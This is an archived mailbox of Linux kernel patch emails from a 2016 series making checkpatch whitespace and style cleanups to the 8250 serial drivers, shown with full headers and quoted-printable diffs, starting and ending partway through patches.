Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126255>

This patch fixes a checkpatch warning caused by missing parentheses
in the definition of a macro.
=46urthermore redundant parentheses are removed in an assignment.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 2 +-
 drivers/tty/serial/8250/8250_pci.c  | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 15082ae..d042ad5 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -686,7 +686,7 @@ static int __init univ8250_console_init(void)
 }
 console_initcall(univ8250_console_init);
=20
-#define SERIAL8250_CONSOLE	&univ8250_console
+#define SERIAL8250_CONSOLE	(&univ8250_console)
 #else
 #define SERIAL8250_CONSOLE	NULL
 #endif
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 8543719..fbd4222 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -803,7 +803,7 @@ static int pci_netmos_9900_numports(struct pci_dev =
*dev)
 	unsigned int pi;
 	unsigned short sub_serports;
=20
-	pi =3D (c & 0xff);
+	pi =3D c & 0xff;
=20
 	if (pi =3D=3D 2)
 		return 1;
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 03/15] tty: serial: 8250: Fix braces after struct
Date: Wed, 13 Jan 2016 22:29:09 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1452720561-28443-4-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720894 13346 80.91.229.3 (13 Jan 2016 21:34:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:34:54 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:34:47 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT41-0000sN-TA
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:34:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755742AbcAMVei convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:34:38 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49432 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753874AbcAMV36 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:29:58 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 12E7258C4CE;
	Wed, 13 Jan 2016 22:29:55 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:29:55 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126256 gmane.linux.serial:21557 gmane.linux.ports.parisc:26393
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126256>

This patch fixes a checkpatch warning by moving an opening curly brace
to its correct position.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 2891958..5e1b464 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -24,8 +24,7 @@
 #endif
=20
 #ifdef CONFIG_HPAPCI
-struct hp300_port
-{
+struct hp300_port {
 	struct hp300_port *next;	/* next port */
 	int line;			/* line (tty) number */
 };
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 02/15] tty: serial: 8250: Replace spaces with tabs
Date: Wed, 13 Jan 2016 22:29:08 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <1452720561-28443-3-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720910 13492 80.91.229.3 (13 Jan 2016 21:35:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:35:10 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:35:03 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT4I-00013z-NW
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:35:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756072AbcAMVey convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:34:54 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49419 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753789AbcAMV35 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:29:57 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id EBD6358C4CA;
	Wed, 13 Jan 2016 22:29:53 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:29:53 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126257 gmane.linux.serial:21558 gmane.linux.ports.parisc:26394
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126257>

Indentation is changed to match the correct format of using tabs instea=
d
of spaces wherever possible.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 12 ++++++------
 drivers/tty/serial/8250/8250_port.c |  4 ++--
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index ecd5a32..534ca18 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -721,7 +721,7 @@ static int pci_ni8430_init(struct pci_dev *dev)
 	 */
 	pcibios_resource_to_bus(dev->bus, &region, &dev->resource[bar]);
 	device_window =3D ((region.start + MITE_IOWBSR1_WIN_OFFSET) & 0xfffff=
f00)
-	                | MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
+			| MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
 	writel(device_window, p + MITE_IOWBSR1);
=20
 	/* Set window access to go to RAMSEL IO address space */
@@ -1763,7 +1763,7 @@ xr17v35x_has_slave(struct serial_private *priv)
 	const int dev_id =3D priv->dev->device;
=20
 	return ((dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V4358) ||
-	        (dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
+		(dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
 }
=20
 static int
@@ -1863,8 +1863,8 @@ pci_fastcom335_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch353_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16550A;
@@ -1873,8 +1873,8 @@ pci_wch_ch353_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch38x_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16850;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 7f3bd7b..f2e588e 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -52,7 +52,7 @@
 #define DEBUG_AUTOCONF(fmt...)	do { } while (0)
 #endif
=20
-#define BOTH_EMPTY 	(UART_LSR_TEMT | UART_LSR_THRE)
+#define BOTH_EMPTY	(UART_LSR_TEMT | UART_LSR_THRE)
=20
 /*
  * Here we define the default xmit fifo size used for each type of UAR=
T.
@@ -2254,7 +2254,7 @@ serial8250_get_baud_rate(struct uart_port *port, =
struct ktermios *termios,
=20
 void
 serial8250_do_set_termios(struct uart_port *port, struct ktermios *ter=
mios,
-		          struct ktermios *old)
+			  struct ktermios *old)
 {
 	struct uart_8250_port *up =3D up_to_u8250p(port);
 	unsigned char cval;
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: [PATCH v6 01/15] tty: serial: 8250: Fix whitespace errors
Date: Wed, 13 Jan 2016 22:29:07 +0100
Lines: 295
Approved: news@gmane.org
Message-ID: <1452720561-28443-2-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720934 13803 80.91.229.3 (13 Jan 2016 21:35:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:35:34 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 13 22:35:25 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJT4e-0001J1-H0
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jan 2016 22:35:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752258AbcAMVfW convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jan 2016 16:35:22 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49405 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753349AbcAMV3z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jan 2016 16:29:55 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id BDA8658C4C8;
	Wed, 13 Jan 2016 22:29:52 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:29:52 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26395 gmane.linux.serial:21559 gmane.linux.kernel:2126258
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26395>

This patch fixes whitespace errors reported by checkpatch to increase
readability. Main focus is on missing spaces after commas in
function headers and macros (like foo,bar edited to foo, bar).

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_acorn.c |  2 +-
 drivers/tty/serial/8250/8250_hub6.c  |  2 +-
 drivers/tty/serial/8250/8250_pci.c   |  8 +++--
 drivers/tty/serial/8250/8250_port.c  |  2 ++
 drivers/tty/serial/8250/serial_cs.c  | 60 ++++++++++++++++++----------=
--------
 5 files changed, 39 insertions(+), 35 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_acorn.c b/drivers/tty/serial/=
8250/8250_acorn.c
index 549aa07..402dfdd 100644
--- a/drivers/tty/serial/8250/8250_acorn.c
+++ b/drivers/tty/serial/8250/8250_acorn.c
@@ -70,7 +70,7 @@ serial_card_probe(struct expansion_card *ec, const st=
ruct ecard_id *id)
 	uart.port.regshift	=3D 2;
 	uart.port.dev	=3D &ec->dev;
=20
-	for (i =3D 0; i < info->num_ports; i ++) {
+	for (i =3D 0; i < info->num_ports; i++) {
 		uart.port.membase =3D info->vaddr + type->offset[i];
 		uart.port.mapbase =3D bus_addr + type->offset[i];
=20
diff --git a/drivers/tty/serial/8250/8250_hub6.c b/drivers/tty/serial/8=
250/8250_hub6.c
index a5c778e..27124e2 100644
--- a/drivers/tty/serial/8250/8250_hub6.c
+++ b/drivers/tty/serial/8250/8250_hub6.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define HUB6(card,port)							\
+#define HUB6(card, port)						\
 	{								\
 		.iobase		=3D 0x302,				\
 		.irq		=3D 3,					\
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 4097f3f..ecd5a32 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -1198,8 +1198,9 @@ static int pci_quatech_has_qmcr(struct uart_8250_=
port *port)
=20
 static int pci_quatech_test(struct uart_8250_port *port)
 {
-	u8 reg;
-	u8 qopr =3D pci_quatech_rqopr(port);
+	u8 reg, qopr;
+
+	qopr =3D pci_quatech_rqopr(port);
 	pci_quatech_wqopr(port, qopr & QPCR_TEST_FOR1);
 	reg =3D pci_quatech_rqopr(port) & 0xC0;
 	if (reg !=3D QPCR_TEST_GET1)
@@ -1286,6 +1287,7 @@ static int pci_quatech_init(struct pci_dev *dev)
 		unsigned long base =3D pci_resource_start(dev, 0);
 		if (base) {
 			u32 tmp;
+
 			outl(inl(base + 0x38) | 0x00002000, base + 0x38);
 			tmp =3D inl(base + 0x3c);
 			outl(tmp | 0x01000000, base + 0x3c);
@@ -4502,7 +4504,7 @@ static struct pci_device_id serial_pci_tbl[] =3D =
{
 		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b0_bt_2_921600 },
 	{	PCI_VENDOR_ID_OXSEMI, PCI_DEVICE_ID_OXSEMI_16PCI958,
-		PCI_ANY_ID , PCI_ANY_ID, 0, 0,
+		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b2_8_1152000 },
=20
 	/*
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 52d82d2..7f3bd7b 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1327,6 +1327,7 @@ static void serial8250_start_tx(struct uart_port =
*port)
=20
 		if (up->bugs & UART_BUG_TXEN) {
 			unsigned char lsr;
+
 			lsr =3D serial_in(up, UART_LSR);
 			up->lsr_saved_flags |=3D lsr & LSR_SAVE_FLAGS;
 			if (lsr & UART_LSR_THRE)
@@ -1734,6 +1735,7 @@ static void wait_for_xmitr(struct uart_8250_port =
*up, int bits)
 	/* Wait up to 1s for flow control if necessary */
 	if (up->port.flags & UPF_CONS_FLOW) {
 		unsigned int tmout;
+
 		for (tmout =3D 1000000; tmout; tmout--) {
 			unsigned int msr =3D serial_in(up, UART_MSR);
 			up->msr_saved_flags |=3D msr & MSR_SAVE_FLAGS;
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 4d180c9..6d7a801 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -28,7 +28,7 @@
     and other provisions required by the GPL.  If you do not delete
     the provisions above, a recipient may use your version of this
     file under either the MPL or the GPL.
-   =20
+
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
 #include <linux/module.h>
@@ -257,7 +257,7 @@ static const struct serial_quirk quirks[] =3D {
 };
=20
=20
-static int serial_config(struct pcmcia_device * link);
+static int serial_config(struct pcmcia_device *link);
=20
=20
 static void serial_remove(struct pcmcia_device *link)
@@ -309,7 +309,7 @@ static int serial_probe(struct pcmcia_device *link)
 	dev_dbg(&link->dev, "serial_attach()\n");
=20
 	/* Create new serial device */
-	info =3D kzalloc(sizeof (*info), GFP_KERNEL);
+	info =3D kzalloc(sizeof(*info), GFP_KERNEL);
 	if (!info)
 		return -ENOMEM;
 	info->p_dev =3D link;
@@ -339,7 +339,7 @@ static void serial_detach(struct pcmcia_device *lin=
k)
=20
 /*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
-static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo * info,
+static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo *info,
 			unsigned int iobase, int irq)
 {
 	struct uart_8250_port uart;
@@ -600,7 +600,7 @@ static int serial_check_for_multi(struct pcmcia_dev=
ice *p_dev,  void *priv_data)
 }
=20
=20
-static int serial_config(struct pcmcia_device * link)
+static int serial_config(struct pcmcia_device *link)
 {
 	struct serial_info *info =3D link->priv;
 	int i;
@@ -701,7 +701,7 @@ static const struct pcmcia_device_id serial_ids[] =3D=
 {
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "LINKSYS", "PCMLM336", 0xf7cb0b07, 0x7=
a821b58),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MEGAHERTZ", "XJEM1144/CCEM1144", 0xf5=
10db04, 0x52d21e1e),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MICRO RESEARCH", "COMBO-L/M-336", 0xb=
2ced065, 0x3ced0555),
-	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001" ,0x18df0ba0 ,0x831=
b1064),
+	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001", 0x18df0ba0, 0x831=
b1064),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Diamonds=
 Modem+Ethernet", 0xc2f80cd, 0x656947b9),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Hearts M=
odem+Ethernet", 0xc2f80cd, 0xdc9ba5ed),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "PCMCIAs", "ComboCard", 0xdcfe12d3, 0x=
cd8906cc),
@@ -797,30 +797,30 @@ static const struct pcmcia_device_id serial_ids[]=
 =3D {
 	PCMCIA_DEVICE_CIS_PROD_ID123("ADVANTECH", "COMpad-32/85", "1.0", 0x96=
913a85, 0x8fbe92ae, 0x0877b627, "cis/COMpad2.cis"),
 	PCMCIA_DEVICE_CIS_PROD_ID2("RS-COM 2P", 0xad20b156, "cis/RS-COM-2P.ci=
s"),
 	PCMCIA_DEVICE_CIS_MANF_CARD(0x0013, 0x0000, "cis/GLOBETROTTER.cis"),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100  1.00.",0x19ca78af,0xf964f42b),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100",0x19ca78af,0x71d98e83),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232  1.00.",0x19ca78af,0x69fb7490),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232",0x19ca78af,0xb6bc0235),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232",0x63f2e0bd,0xb9e175d3),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232-5",0x63f2e0bd,0xfce33442),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232",0x3beb8cf2,0x171e=
7190),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232-5",0x3beb8cf2,0x20=
da4262),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF428",0x3beb8cf2,0xea5d=
d57d),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF500",0x3beb8cf2,0xd772=
55fa),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: IC232",0x3beb8cf2,0x6a70=
9903),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: SL232",0x3beb8cf2,0x1843=
0676),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: XL232",0x3beb8cf2,0x6f93=
3767),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial+Parallel Port: SP230",0x=
3beb8cf2,0xdb9e58bc),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(2,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(3,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100  1.00.", 0x19ca78af, 0xf964f42b),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100", 0x19ca78af, 0x71d98e83),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232  1.00.", 0x19ca78af, 0x69fb7490),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232", 0x19ca78af, 0xb6bc0235),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232", 0x63f2e0bd, 0xb9e175d3),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232-5", 0x63f2e0bd, 0xfce33442),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232", 0x3beb8cf2, 0x1=
71e7190),
